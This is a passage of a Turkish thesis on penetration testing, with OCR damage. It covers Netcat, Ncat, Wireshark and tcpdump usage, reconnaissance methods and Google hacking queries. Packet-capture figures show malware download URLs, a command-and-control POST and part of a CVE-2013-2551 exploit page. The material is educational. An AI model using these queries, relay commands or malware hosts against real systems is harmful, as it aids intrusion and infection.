hale getirmek amaciyla bilisim sistemlerindeki zafiyetleri bulmak ve bulunan
zafiyetlerin kapatilmasi igin yapilacak olan ¢alismalar1 yasal ve yetkili bir girisim
seklinde yapmak olarak tanimlanabilir. Siireg, giivenlik agiklarinin arastirilmasini ve
giivenlik acikliklarinin ger¢ek oldugunu gostermek icin kavram saldirilarinin kanitini
saglamayi icerir. Uygun sizma testi, her zaman test sirasinda kesfedilen sorunlarin ele
alinmasi ve giderilmesi i¢in 6zel dnerilerle sona erer. Genel olarak, bu siireg, bilgisayar
ve aglarin gelecekteki saldirilara karsit korunmasina yardimer olmak igin kullanilir.
Genel fikir, giivenlik sorunlarin1 bir saldirgan olarak aymi araglar1 ve teknikleri
kullanarak bulmaktir. Bu bulgular, ger¢ek bir saldirgan mevcut sistemlere zarar
vermesi 0nlemek adina dnceden tedbir alinarak gelecek saldir1 siddetini hafifletebilir.
Giivenlik agig1 degerlendirmesi, potansiyel giivenlik sorunlari i¢in hizmetlerin ve
sistemlerin gézden gegirilmesi siirecidir; 0ysaki bir sizma testi, bir glivenlik sorununun
varligmi kanitlamak i¢in istismar ve Kavram Belgesi (PoC) saldirilarii
gerceklesmektir [22].

Sizma testlerinin genis anlamda incelendigi baz1 kaynaklarda, teknik araglardan
siber giivenligin hukuksal alanina kadar bir¢ok bilisim konusuna multidisipliner
yaklagimla deginilmistir. Kaynakta saldir1 vektorleri, beyaz, gri ve siyah sapkal
saldirganlarinin sistemler iizerinde nasil ve ne gibi islemler yaptigini anlatilmistr.
Deneysel bir ortam kurdurarak saldir1 tiplerini bu ortamda uygulamali olarak
islemistir. Kuruluglarin diizenli olarak sizma testi yapmak {izere bir organizasyon
kurmasi gerektiginden bahsetmistir [23].

Sizma testlerinin ag sistemleri uzmanlarina yonelik olarak ag ile ilgi detayli
bilgilendirmenin yapildig1 kaynakta kapsam olarak sizma testi alaninda yer alanalar
caligmalar ve giinliik olarak ag saldirilarinin nasil tespit edileceginden bahsetmistir.
Saldirilara karsi nasil bir korunma yontemi izlenileceginin bilinmesi gerektigine vurgu

yaparak sadece saldirgan bakis agisindan degil, ag sistem yoneticilerin ve giivenlik
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uzmanlarinin  dikkat etmesi gereken yapilandirmalardan bahsederek rehberlik

yapmistir [24].

Team champion

(C-level)

PenTest

manager

Project
manager
[ 1
\

PenTest PenTest PenTest 1
engineer engineer engineer

Sekil 3.1: Sizma test ekibinin yapisi [23].

Cok fazla uzmanlhk gerektirmeyen sizma testi ara¢ arayiizlerinin nasil
kullanilacagi anlatilmistir. Giris seviyesinde bilgiler verilmistir. Ana kavramlardan
bahsedilerek temel diizeyde sizma testlerinin nasil yapilabileceginden bahsedilmistir
[25].

Literatiir taramasi sirasinda sizma testlerinin uygulama sizma testleri [26], bulut
endiistriyel sistemler sizma testleri [27] ile ilgili kaynaklar da taranmistir.

Bulut Yonetim Yazilimi olan OpenStack iizerinde gerceklestirilen sizma testi
sonuglarindan bahsedilen bu kaynak, ag protokolii ve komut satir1 “fuzzing”, oturum
kacirma ve kimlik hirsizligi dahil olmak iizere bir¢ok farkli sizma testi saldir
vektoriinden bahsetmistir. Bu tekniklerin kullanilmasi, bir saldirganin OpenStack
sunucusunda bulunan kisitlanmis bilgilere erisim saglamasima veya sunucuda tam
yonetici  ayricaliklar1  kazanmasina  olanak  veren giivenlik  aciklarinin
sOmiiriilmesinden bahsetmistir. Bu giivenlik agiklarin1 gidermek i¢in 6nemli 6neriler

sunmustur [28].
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Hack IT [29], genel bir ag giivenlik planinda sizma testlerinden ve onun hayati
roliinden bahsetmektedir. Bir sizma testi uzmaninin rolleri ve sorumluluklari, siyah
sapkal1 saldirgan toplulugunun motivasyonu ve stratejileri hakkinda bilgi vermektedir.

Sizma testinin tanimini agik bir kap1 bulma sanati olarak nitelendiren bu kaynak.
Sizma testlerini bilimsel agidan da ele almistir. Konuya farkli bir bakis agis1 olarak su
sekilde anlatmistir: Siber giivenligin kime gore, neye gore ve hangi zamana gore ne
derece giivenli oldugu 6l¢timlerinin degisebilecegi, bu giin i¢in her hangi bir giivenlik
ac1g1 icermeyen bir sistemin yarin ¢ok kritik aciklik igerebilir hale gelebileceginden
bahsetmistir [30].

Bilgi teknolojisinde ¢alisan insanlar i¢in yeni zorluklarin geldiginden bahseden
bu kaynak, giiniimiizde bilgi giivenliginin ¢ok dnem oldugunu ¢iinkii ¢ok sayida gizli
bilginin bilgisayar sistemlerinde elektronik olarak depolandigindan ve bu sistemlerin
genellikle internet agina bagli oldugundan yani dis diinyayla etkilesimli oldugundan
bahsetmigtir. Sistemlerin olabildigince giivenli olmasmi ve gizli bilgilerin agiga
¢ikmamasini saglanmalidir. Sistem giivenligini kanitlamanin olast bir yolu, diizenli
sizma testleri yapmaktir - 6rnegin saldirganin kotii niyetli aktivitesini simiile etmek.
Bu makalede, sizma testinin temelleri kisaca tanitilmakta ve sizma testi yapilirken
Metasploit ¢ercevesinin nasil kullanilacagi gosterilmektedir [31].

Sizma testi, Web uygulamalarinin giivenlik korumasini denetlemek i¢in yaygin
olarak kullanilir. Bununla birlikte, gelistirme tamamlandiktan ve uygulama iiretime
gectikten sonra uzman giivenlik uzmanlar tarafindan siklikla test yapilarak uygulanir.
Bu kaynakta, “Giivenlik Odakli Yazilim Gelistirme Yasam Dongiisii” 'ne tam olarak
entegre edilebilen, tekrarlanabilir, sistematik ve diigiikk maliyetli bir yaklagim saglayan
web uygulamalart i¢in modele dayali bir sizma testi ¢ergevesi Onerilmistir. Giivenlik
uzmanlari hala ¢erceve tarafindan kullanilan bilgileri korumak i¢in gereklidir, ancak
diizenli test personeli sizma testi kampanyalar1 olusturma, calistirma ve siirdiirme

yetenegine sahiptir [32].
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DORDUNCU BOLUM

MATERYAL VE YONTEM

Bu ¢alisma kapsaminda fiziksel ortam olarak sanal bilgisayarlarin kullanildigi
giiclii bir is istasyonu kullanilmistir. Sanal ortam {izerinde kurulmus olan saldiri
makinesi Kali Linux iizerinde sizma testlerinin araglari, betikleri ve programlari
kullanilmistir. Bu bdliimde sizma testlerinin en gelismis araglari anlatilmigtir. Ag
dinlemelerinin, ag analiz etme araglarinin, pasif bilgi toplamalarm, aktif bilgi
toplamalarin, tarayicit arama motoru 6zel sorgu tiplerinin, nmap zafiyet taramalarinin,
sifre kirma araclarinin ve web sitelerine yapilan saldirilarin nasil yapildig: bu boliimde
anlatilmaktadir. Lisans fticreti olan ticari yazilimlardan sektoriin en gozde olan
programlar: olan nessus, metasploit, burp, vs. araglar da tez kapsaminda uygulamali
bir sekilde anlatilmaktadir. Ticari olmayan ve Kali Linux isletim sistemi igerisinde
herkes tarafindan kullanilabilen kesif zafiyet tarama, bilgi toplama ve saldir

araclariyla 6rneklemeler lizerinden de anlatim yapilmaktadir.

4.1 Sizma Testlerinde Kullanilan Temel Araclar

4.1.1 Netcat

TCP ve UDRP iletisim protokollerini kullanarak ag baglantilari lizerinden veri
okuyan ve yazan basit bir ag yardimci programidir. En temel kullanimi Windows ve
Linux isletim sistemlerinde “nc [options] host port” seklindedir. Terminalden “nc —h”
komutuyla netcat aracinin kullanim kilavuzuna erisebilir ve yapilmak istenilen islem
ilgili parametreler girilerek yapilabilir. Netcat’in kullanimiyla ilgili detayli bilgi
[33]‘ten edinilebilir.
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:~# nc -h
[vl.1©-41.1]
connect to somewhere:
listen for inbound: nc
options:
shell commands
filename

gateway
num

ec

-C
-e
-b
-g
-G
-h
-i
-k
-1
-n
-0
-p
-r
-q
-5
-T
-t
-u
-
-W
-C
-Z

port numbers can be individual or rang

nc [-options] hostname port[s] [ports]

-p port [-options] [hostname] [port]

/bins/sh to
c after con

[dangerous!!]
t [dangerous!!]

e-routing hop point[s], up to 8
source-routing pointer: 4, 8, 12,
this cruft
delay interwval for lines sent, ports
set keepalive option on socket
lis mode, for inbound connects
numeric-only IP addresses, no DNS
hex dump of traffic
local port number
random local and remote ports

EOF on stdin and delay of

re
ending

ro-I/0 mode [used for scanning]

hi [inclusivel;

hyphens in port names must be backslash e ped (e.g. 'ftp\-data').

Sekil 4.1: Netcat kullaniminda yararlanilacak parametreler.

4.1.2 Ncat

Necat, bir agdaki verileri okumak, yazmak, yeniden yonlendirmek ve sifrelemek

icin genel amagli bir komut satirt aracidir. Ncat, Netcat (nc) aracinin giiniimiize

uyarlanmis halidir. Ncat, Netcat’de bulunmayan, SSL destegi, proxy baglantilari, IPv6

ve baglant1 aracilik gibi pek c¢ok 6zelligi ekler. En temel kullanimi “ ncat [option]

hostname port” seklindedir. Terminalden “ncat —h” komutuyla netcat aracinin

kullanim kilavuzuna erisilebilir ve yapilmak istenilen islem ilgili parametreler

girilerek yapilabilir.

Ncat komutu ile yapilan bazi islemleri gostermek i¢in asagidaki ornekler

verilmistir:

1. TCP 5555 portundan example.com’a baglanma

o ncat example.com 5555

2. TCP 5555 portundaki baglantilar1 dinleme

o ncat -1 5555

3. Yerel makinedeki TCP port 5555'i, port 80’deki sunucuya yonlendirme

o ncat --sh-exec "ncat example.com 80" -l 5555 --keep-open
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=1
Dump

on bro

ALPH prot
Display Mcat®

For full options,

Sekil 4.2: Netcat kullaniminda yararlanilacak parametreler.

1. Localhost baglant1 noktast 8888'de bir HTTP proxy sunucusu olusturma
komutu
o ncat -1 --proxy-type http localhost 8888

2. 9899 numarali TCP portundan host2'den (istemci) hostl'e (sunucu) dosya
gonderme komutu
o HOST1$ ncat -1 9899 > outputfile
o HOST2$ ncat HOST1 9899 < inpultfile

3. Diger yone aktarma yapma, Ncat'i “tek dosya” sunucusu haline ¢evirme
komutu
o HOST1$ ncat -1 9899 < inputfile
o HOST2$ ncat HOST1 9899 > outputfile

4.1.3 Wireshark
Wireshark bilgisayara bagli olan Ethernet kartlarina veya modemlere gelen

giden tiim ag trafigini izlemek i¢in Windows, Linux, Mac ve Solaris gibi birgok isletim
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sisteminde kullanilabilen grafik arayiiziine sahip ag dinleme aracidir. Wireshark

programinin acilis ekrani Sekil 4.3’te gosterildigi gibidir.

The Wireshark Network Analyzer [ — ] e
File Edit Wiew Go Capture Analyze Statistics Telephony W/ireless Tools Help

A mJf@ B[R G A « = 31« = = e a a FF

A |Appl\_.v a display filter ... <Ctrl-/> =3 '] Expression... +

Welcome to Wireshark

Capture
...using this filter: [ |Fnter a capture filter ... -
etho [ N P PV S
eth2 [ N S P WY S
any IS TN WOV NOU N S SOV S
Loopback: lo IR WO TON N SOV IO DU BV |
ethl A A A MR A
nflog
nfqueue
usbmonl

usbmon2

3 Cisco remote capture: cisco
Random packet generator: randpkt
3 SSH remote capture: ssh

Learn
User's Guide - Wiki - Questions and Answers - Mailing Lists|

You are running Wireshark 2.2.5 (Git Rev Unknown from unknown).

Sekil 4.3: Wireshark programinin agilis arayiizii

Wireshark dinleme igleminin konfigilirasyonu icin Sekil 4.4°te bulunan sayilar

seklin altinda anlatilmaktadir.

A telnet-cooked.pcap [Wireshark 1.10.3 (SVN Rev 53022 from /trunk-1.10)] . =
Eile Edit Viev Go Copture Analyze Statistics Telephony Tools Intemals Help

coamg EExXRA¢es0TL|EE caan BB % B

Fiter: [v] epression... Clesr 25pty sove @)

No. Time Source Destination Protocol  Length Info

31999-11-28 02:12:38.389775 192.168.0.2 192.168.0.1 TCP 66 1550 > 23 [ACK] Seg=1 Ack=1 wi
4 1999-11-28 02:12:38.391363 192.168.0.2 192.168.0.1 TELNET 93 Telnet Data ...
51999-11-28 02:12:38.537538 192.168.0.1 192.168.0.2 TELNET 69 Telnet Data ...
6 1999-11-28 02:12:38.537605 192.168.0.2 192.168.0.1 TCP 66 1550 > 23 [ACK] Seq=28 Ack=4 W
7 1999-11-28 02:12:38.537777 192.168.0.2 192.168.0.1 TELNET 69 Telnet Data ...
81999-11-28 02:12:38.539149 192.168.0.1 192.168.0.2 TP 66 23 > 1550 [ACK] Seq=4 Ack=31 W
9 1999-11-28 02:12:38.540860 192.168.0.1 192.168.0.2 TELNET 91 Telnet Data ...
10 1999-11-28 02:12:38.541068 192.168.0.2 192.168.0.1 TELNET 130 Telnet Data ...
11 1999-11-28 02:12:38.542187 192.168.0.1 192.168.0.2 TCcP 66 23 > 1550 [ACK] Seq=29 Ack=95
12 1999-11-28 02:12:38.542780 192.168.0.1 192.168.0.2 TELNET 84 Telnet Data ... v
>
@ Frame 5: 69 bytes on wire (552 bits), 69 bytes captured (552 bits) .
® Ethernet II, Src: 00:00:c0:9f:a0:97 (00:00:c0:9f:a0:97), Dst: 00:a0:cc:3b:bf:fa (00:a0:cc:3b:bf:fa)

@ Internet Protocol Version 4, Src: 192.168.0.1 (192.168.0.1), Dst: 192.168.0.2 (192.168.0.2)
= Transmission Control Protocol, Src Port: 23 (23), Dst Port: 1550 (1550), Seq: 1, Ack: 28, Len: 3
Source port: 23 (23)
Destination port: 1550 (1550)
[Stream index: 0]
Sequence number: 1 (relative sequence number) v

0000 00 a0 cc 3b bf fa 00 00 c0 9f a0 97 08 00 45 10
0010 00 37 3d 8e 00 00 40 06 bb cf cO a8 00 01 c0 a8
0020 00 02 00 17 06 Oe 17 f1 63 3e 99 c5 al 08 80 18
0030 43 c5 02 67 00 00 01 01 08 0Oa 00 25 a6 2c 00 9c
0040 27 24 ff fd 25

Sekil 4.4: Wireshark programiyla paket izlenmesi.
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S.
6.

Analiz edilen dosyanin adidir (Bu Ornekte dosya sisteminde Onceden
kaydedilmis telent-cooked.pcap adindaki dosyadir). Canli dinlemelerde
baglik hangi arayiizden kaydedildigini belirten bilgiler igerir, Ornegin
Ethernet arayiiziinden dinleme yapildiginda “Capturing from Ethernet”
yazildig1 goriiliir.

Menii sekmesi (hemen altindaki ikonlar ana islemlerin kisa yollaridir ve
siklikla buradaki kisa yollar kullanilir.)

Filtreleme (Display filter — yani kayit sonrasi yapilan filtrelemeler) islemleri
icin kullanilan boliimdiir.

Paketlerin listelendigi alandir.

Paket detaylarinin gosterildigi alandir.

Paketlerin byte-byte gdsteriminin yapildig: alandir.

Wireshark programi yardimiyla birka¢ ag analiz 6rnegi yapilmis ve asagidaki

sekillerde anlatilmistir.

Filter:lhttp.request orssI.handshake.extensions_ser;l Expression... Clear Apply Save
Time |Dst Host IServer Name Info
14:23:44 74.125.226.181 [mail.google.com GET / HTTP/1.1
14:23:45 74.125.226.181 |mail.google.com GET /mail/ HTTP/1.1
14:23:45 74.125.226.181 mail.google.com Client Hello
14:23:46 216.58.219.237 accounts.google. com| Client Hell
14:23:46 74.125.226.85 www.gmail.com e Lliant hall -
14:23:47 173.194.123.114 www. google. com Client Helld Ku”an|C| Gmall
14:23:48 173.194.123.114 www. google.com Client Helld i
14:23:48 74.125.226.85 A 3 B Client Hell:
et Gim ey hesabina baglanir ve
14:23:48 74.125.226.85 5 1. Client Hell H -
1ai23i48 74.125.226.85 St ciene vend  Zararh dosyayi indirir.
14:23:48 74.125.226.85 www. gmail.com Client Hellq|
14:23:48 74.125.22.95 fonts.googleapis.com Client Hello
14:23:48 74.125.22.95 fonts.googleapis.com Client Hello
14:23:48 173.194.123.126 ssl.google-analytics.com Client Hello
14:23:48 74.125.226.169 apis.google.com Client Hello
14:23:49 74.125.226.47 fonts.gstatic.com Client Hello
14:23:50 74.125.226.91 2542116. fls.doubleclick.net Client Hello
14:23:50 74.125.226.169 apis.google.com Client Hello
14:23:50 74.125.226.181 mail.google.com Client Hello
14:23:51 74.125.226.169 apis.google.com Client Hello
14:23:51 74.125.226.55 ssl.gstatic.com Client Hello
14:23:51 74.125.226.55 ssl.gstatic.com Client Hello
14:23:52 173.194.123.10 oauth.googleusercontent.com Client Hello
14:24:16 149.3.144.218 sciclubtermeeuganee.it GET /wp-content/plugins/feedweb_datafpdf_efax_message_3537462.zip|
14:24:25 65.52.108.161 settings-win.data.microsoft.com Client Hello

Sekil 4.5: Oltalama saldiris1 ag analizi.
Filter: | http.request v |Expression... Clear Apply Save
Time v | Dst Host ||nf0 Zararli baglanti kurulumu |
A e e RS
2015-05-29 14:29:57 68.178.254,108 www, trionfobuilders.net GET /images/closelabel.gif HTTP/1.1 ‘
2015-05-29 14:30:02]91.200.14.95 moskalskilybodun.com POST /gate.php HTTP/1.0
2015-05-29 14:30:04 |46.249.199.41  dkpconsulting.com GET /wp-content/plugins/cached_data/bb.exe HTTP/1.0
2015-05-29 14:30:06 | 181,224,142, 143 doc.glovanniborsi,it  GET /wp-content/plugins/cached_data/bb.exe HTTP/1.0
2015-05-29 14:30:10|37.140,192,238 dom660000. ru GET /wp-content/plugins/cached_data/bb.exe HTTP/1.0
2015-05-29 14:30:11]178.208.83.15 domdobleska.ru GET /wp-content/plugins/cached_data/bb.exe HTTP/1.0
2015-05-29 14:30:43|109.120.189.60 godfirestairs.ru POST /img/logout.php?id=5361105 HTTP/1.1 (applicatipn,
2015-05-29 14:32:20 77 125.226. 164 googLe.com GET 7 ATIP/I.1
2015-05-29 14:32:21 74.125.226.95 www.google.ca GET /?gfe_rd=cr&ei=cHhoVYj_E6qi8weT8YHQDg HTTP/1.1
2015-05-29 14:32:44 74.125.226.95 www.google.ca GET /url?url=http://www.disclose.tv/forum/cops-taser-p:

Sekil 4.6: Zararl1 baglant1 kurulmasi.
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GET fd73plybq/FYB7H4-zCJcHcnIKircRzESBN39CUXx4xAAZ-ULlhc80X1TZn HTTP/1.1

Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg,
application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://wnnvpim.ddnsking.com/d73plybq/?2

Accept-Language: en-US

User-Agent: Mozillas4.0 (compatible; MSIE 8. .8: Windows NT 6.1; Trident/4.®; SLCC2; .NET CLR

2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)

Accept-Encoding: gzip, deflate

Host: wnnwvpim.ddnsking.com

Connection: Keep-Alive

HTTF/1.1 200 OK

Server: nginx/1.4.4

Date: Fri, 29 M 2015 14:43:06 GMT i - - - = -

e e isletim Sistemi : IE 8, bunu istismar eden
T i -E di 3 h ked 1t - 1ly
e CVE-2013-2551 exploiti gonderiliyor.

Cache-Control: no-store, no-cache, must-rewvalid

Expires: Men, 26 Jul 1997 65:00:00 GMT

Last-Modified: Fri, 29 May 2015 14:43:06 GMT
Pragma: no-cache

1fa1 P

<html xmlns:yyy="urn:schemas-microsoft-com:vml">

CVE-2013-2551 gostergeleri

<head=

<=title>Voice i fell, as . =/title> '(/

=style>

yyyh: *{display: inline-block; behavior:url(#default#VML); color:red;}
</style> -

=/head= r"__i
=<body=
<yyy! ova1><yyy stroke id='soira’/></yyy:oval>

<yyy:oval=<yyy:stroke id='debtb’'/></yyy:oval>
=div —

id='fume2'>qW7rbq7rbq7rbq7rbq7rbq7rIeWl16WCq] 11 MtW3ZqWOMBWNME rNMErNZqrCqlKlZa5_bvrUb6jWbtroBy6US6ex14LfDW

5Xbe70xWx3v] 7TWMwOWSWLSMtsAqlOvLtp berUPyjgPWr8DF-hbelxVFjgbFuBBvEUIWK4LILEMS -

IB57wB47Z0FuMBQeOvTWeB6uzI tpMgHxS0zIBDHLY xyj MVWLHx4h Fxa0xPQeIbelnvveSb7L7q0jMVWr FSe0qgxWoglL6spV55xx4F4Bgel

*xz7ABFjviwL6La0I Vw7 fPOxAVvpIqeDsIq-

TVOsJlgqzZeBHl4LWWX5408BzrA0aLvLOxFbvseP75zDTObI tuS16AwI4LcLeKGMaw4 Le kwl zWZDvpSBWWX 16 j obwIw00scBysW17LgDwlt

CSkSBWLGSyGGSJxFDwIKVnyth(lewxsKISHlMPTLeqqegSWI7bw5YD45zx5WIB47bDQeHIquBSSMVWOXPquCELqSE—

Pl b S MAF AT e T M T AT EE T il se 1 el el LWl L E P A 7 Ehafn e e T e 2To oT TATA T €T nlee e AT e A AP UL AL LAE kel 1 E o Ee P

Sekil 4.7: Exploit agamasi.

GET /d73plybq/DMR811UP13gG0015FUwdohyCqU5inv7KIIUEV32]-_CP HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR
3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)

Host: wnnvpim.ddnsking.com
Connection: Keep-Alive

HTTP/1.1 200 0K Sisteme 393 KB zararl payload
Server: nginx/1.4.4 - -

Date: Fri, 29 May 2015 14:43:08 GMT yuklenlyor.

Content-Type: |application/octet-stream|

Content-Length: | 393550
Connection: close

s{..

e 1, [ Hoaa A ..6...UMD"G. .Ze
S e atava d-a.%[ez:...... 9- 2 ..40>.0%);.Cg.c. .6...X.;.".y..
......... reoo..f..|SY2.....e.8..A.2. .
el -*ag.u. 6 V- / #.%0X....v(.
& = PN e S it A ner

Sekil 4.8: Zararli yazilimin sisteme yiiklenmesi.

4.1.4 Tcpdump ile Ag Analizi

Tcpdump hemen hemen her Unix/Linux sistem iizerinde 6n tanimli olarak gelen

paket dinleyicidir. Bu aracin en genel kullanimini gérmek i¢in komut satirina

“tcpdump —h” yazilarak Sekil 4.9’daki gibi biitiin islevleri incelenebilir.
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T onuf ] [ -A gorfarTurpAibse ] [ -= bozfrofafs-cowwsuqg ]
1 [ -L £Abe ] [ --asr2TO0U ] [ -A AT 1
ugsbreu ] [ --fTws-2L9U _ecT2Tou brLecT2TOU ]

PHIAKrunobd2enna

gh 30T
87T
b

Sekil 4.9: Tcpdump genel kullanimi.

Tcpdump ile ag1 dinleyip herhangi bir yere dinlenilen ag trafigi kayit edilebilir,
tcpdump ile yapilan dinleme sonucunda “.pcap” uzantili dosya olusur. Ornek olarak
komut satirina “tcpdump —n —i ethO —w sonuc.pcap” komutlar1 yazildiginda “-i”
parametresiyle ethO ethernet karti tizerinden gecen ag trafigini “-n” parametresiyle IP
¢oziimlemesi yapmadan, “-w” parametresiyle “sonuc.pcap” dosyasina yazdirilacak
sekilde kayit etmis olunur. “.pcap” olarak yazilan ag trafigi daha sonra “-r
parametrelisiyle incelenmek iizere agilabilir. Tcpdump ile paket analizi i¢in 6rnek ¢ikti

olarak asagidaki satirlar incelenerek ne anlama geldikleri karsilarinda belirtilmistir.

16:21:24.174180 192.168.60.3.34720 > 10.10.10.3.3389: S 2354677536:2354677536(0)
win 5840 <mss 1460,sackOK,timestamp 25027249 0,nop,wscale 0> (DF)

16:21:24.174180 Zaman Damgasi

192.168.60.3 Kaynak IP Adresi

34720 Kaynak Port Numarasi

> Yon Belirteci

10.10.10.3 Hedef IP Adresi

3389 Hedef Port Numarasi

S TCP SYN Bayragi1 Aktif Hale Getirilmis
2354677536 TCP Baslangi¢ Seri Numarasi (ISN)

Tepdump’in kullanimina ait bazi Ornekler parametreleriyle birlikte asagida
aciklanmustir.

# tcpdump -n -i ethO src|dst host 192.168.0.1

ethO ag arayliziinden 192.168.0.1 kaynakli/hedefli ip adresine ait tiim paketlerin
gorlntiilenmesi saglar.

# tcpdump -n -i ethO src|dst net 192.168.1.0/24
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ethO ag arayiiziinden 192.168.1.0/24 hedef/kaynak agina ait tiim paketlerin
ekranda goriintiilenmesini saglar.

# tcpdump -n -i ethO "dst host 1.1.1.1 and (dst port 22 or dst port 23)"

ethO ag arayliziinden 1.1.1.1 hedef ip adresli bilgisayar veya sunucu sisteminin
22 veya 23 numarali portlarina ait tim paketlerin goériintiilenmesini saglar.

# tcpdump -nv -i ethO "icmp or arp”

ethO ag arayiiziinden ICMP veya ARP protokoliine ait tiim paketlerin ekranda
goriintiilenmesini saglar.

# tcpdump -n -i ethO tcp dst portrange 1-1024

eth0 ag arayiiziinden TCP protokol kiimesinde hedefli 1-1024 arasindaki port
numarasina ait tiim paketlerin goriintiilenmesini saglar.

# tcpdump -n -i ethO "dst host 192.168.1.1 and (dst port 80 or dst port 443)"

eth0 ag arayliziinden 192.168.1.1 hedef ip adresli bilgisayar veya sunucu
sisteminin 80 veya 443 numarali portuna ait tiim paketlerin goériintiilenmesini saglar.

# tcpdump -w ag_analiz.pcap -i ethO tcp port 6881

ethO ag araylizinden TCP/6881 port numarasma ait tiim paketlerin
ag_analiz.pcap dosyasina kaydedilmesini saglar.

# tcpdump -w ag_analiz.pcap -i ethO tcp port 23 or udp \(53 or 69 \)

ethO ag arayiiziinden TCP/23 veya UDP/53 veya UDP/69 port numarasina ait
tiim paketlerin ag_analiz.pcap dosyasina kaydedilmesini saglar.

# tcpdump -ttttnnr ag_analiz.pcap

ag_analiz.pcap isimli dosyasinin igeriginin goriintiillenmesini saglar. Burada

kullanilan “—tttt“cikti zaman damgasinin daha okunabilir olmasini saglar.

4.2 Pasif Bilgi Toplama

Pasif bilgi toplama herkesin erigebilecegi tarzda olan bilgileri kullanarak hedefle
ilgili veri toplama islemidir. Arama motorlari, whois bilgileri, arka plan kontrol
hizmetleri, halka agik sirket bilgileri gibi hizmetler de pasif bilgi toplamaya girer.
Hedef ile dogrudan temas saglamadan toplanilan her tiirlii veri “pasif bilgi toplama”

olarak nitelendirilebilir.
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4.2.1 Acik Halde Tutulan Web Bilgisi Toplama

Hedef siteye baglant1 (link) veren diger sitelerden, internet diinyasinda dolasan
“hedef site” ¢alisanlarinin, e-postalarindan ve “hedef site” HTML kodlarindan, hedef

sistemle ilgili tagidigi bilgilerin saldirganlar tarafindan toplanma islemidir.
4.2.1.1 Arama Motorlan

Arama motorlar1 kendi sistemlerindeki indeksleme ve arama algoritmalariyla
aranan bilgiyle ilgili cok farkli sonuglar getirebilirler. Farkli arama sorgusu dondiiren
arama motorlariyla bilgi toplamak, istenilen hedefle ilgili ¢ok kapsamli veriler elde
etmeye olanak saglamaktadir. Cok fazla ¢esitte arama motoru bulunmaktadir.
Diinyada farkli bilgi toplama ve farkli amaglara hizmet eden bircok arama motoru
vardir. Arama motorlariyla ilgili daha kapsamli bilgilere [34]’ten erigebiliriz. Bu
arama motorlarindan bazilar1  6zellestirilmis olarak calismaktadir. Ornegin;
“www.pipl.com” arama motoru sosyal medya iizerinden kisi aramasi yaparken,
“Ask.com”, “Bing”, “Yahoo” ve “Google” arama motorlari ise daha ¢ok temel indeks

seklinde aramalar yaparken kullanilmaktadir.
4.2.1.2 Google Hacking

Google diinyanin en biiyiik arama motorlarindan biridir, Google aramalarinda
kendisi i¢in Ozel anlam tasiyan bazi sorgu kelimelerinin kullanilmasina izin

vermektedir. Bu 06zel komutlardan bazilar1 agiklamalariyla asagidaki sekilde

orneklendirilmistir.

Site:thk.edu.tr Domain’de arama

Filetype: pdf Ozel dosya uzantis1 arama

intitle: index.of Dizinde listeleme

intitle:index of “server at” Sitelerin sunucu bilgileri

intitle:index of inurl: ”/admin/”  Admin dizini olan listelemeye agik sitelerin
sorgusu

“Microsoft-11S/5.0 server at” Microsoft-11S/5.0 web serverlari tespit etmek
i¢in

“Apache/1.3.27 Server at” Apache web sunucuari tespit etmek igin
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Bunlarin yani sira Google’in exploit-db adresinde “Google hacking database”
adli sayfasindan da en giincel “Google hacking” komutlari goriintiilenir. Sekil 4.10°da
en gincel “Google hacking” komutlar1 gosterilmistir. Bu komutlara [35]’ten

erismektedir.

EXPLOIT
DATABASE

Google Hacking Database (GHDB)

Sekil 4.10: Exploit-db web sayfasinda Google hacking database.

Sekil 4.11: The Harvester aract kullanim parametreleri ve 6rnekleri.
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4.2.2 E-Posta Bilgileri Toplama

E-posta verileri saldirganlar i¢in ¢ok Onemli bilgiler tagimaktadir. Siber
korsanlar tarafindan hedefe ulasmak i¢in birgok saldir1 senaryosunun baslangi¢ noktasi
olarak kullanilmaktadirlar. E-posta senaryolariyla ilgili en ¢ok kullanilan yontem
“oltalama” yontemidir. Bu konu sosyal miihendislik saldirilarinda daha detayli
inceleneceginden burada “the harvester” ile domain maillerinin nasil elde edilecegi

incelenmistir. En genel olarak programin ¢alisma yontemi Sekil 4.11°de gosterilmistir.

Search Web by Domain

Explore 1,084,729 web sites visited by users of the Nelcraft Toolbar 5th March 2018

Search: search tips
site contains ¥ cisco.com lookup!

example: site contains .netcraft.com

Results for *.cisco.com
Found 149 sites

Site Site Report First seen Netblock os

august 1995

(T T e e o

Next page

COPYRIGHT © WETCRAFT LTD 2018. ALL RIGHTS RESERVED.

Sekil 4.12: Netcraft araci ile bilgi toplama.
4.2.3 Diger Bilgi Toplama Yontemleri
4.2.3.1 Netcraft

Netcraft Ingiltere'de Bradford-on-Avon'da bulunan bir internet izleme sirketidir.
Netcraft, temel isletim sistemi, web sunucusu siirimii ve sunucun caligma siiresi
grafikleri gibi internet iizerinde yayin yapmakta olan web sunucular1 hakkinda dolayl

olarak bilgi edinmek i¢in kullanilan bir aracidir. Sekil 4.12°de [36] belirtilen web sitesi
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tizerinde Netcraft tarafindan sunulan “DNS” arama sayfasi araciligiyla gergeklestirilen
* cisco.com dizesini i¢eren tiim alan adlarinin sonuglar1 gosterilmektedir.

Sekil 4.12°de “Netcraft” ile yapilan sorgu sonrasinda sunuculara ait bilgiler elde
edilmistir. Istenilen sunucuya ait site raporuna “Site Report” kismma tiklanarak

ulasilabilir.
4.2.3.2 Whois sorgular

Whois, “alan adi1” sorgulama veri tabanidir. Whois veri tabanlari, bir alan adi
hakkinda, isim sunucusu, kayit ve bazi durumlarda tam iletisim bilgileri igerir. Bir
merkezi kayit defteri Whois veri tabani InterNIC [37] tarafindan saklanir. Bu veri
tabanlar1 genellikle bir Whois sunucusu tarafindan “TCP” port 43 iizerinden yayinlanir
ve Whois istemci programi kullanilarak erisilebilir. Whois sorgusu yapilirken sadece
alan adindan degil IP’den de sorgulama yapilabilir. Internette Whois sorgusu yapan
cok sayida web sitesi mevcuttur. Kali lizerinden yapilacak bir Whois sorgusu Sekil

4.13’te gosterildigi gibidir.
4.3 Aktif Bilgi Toplama

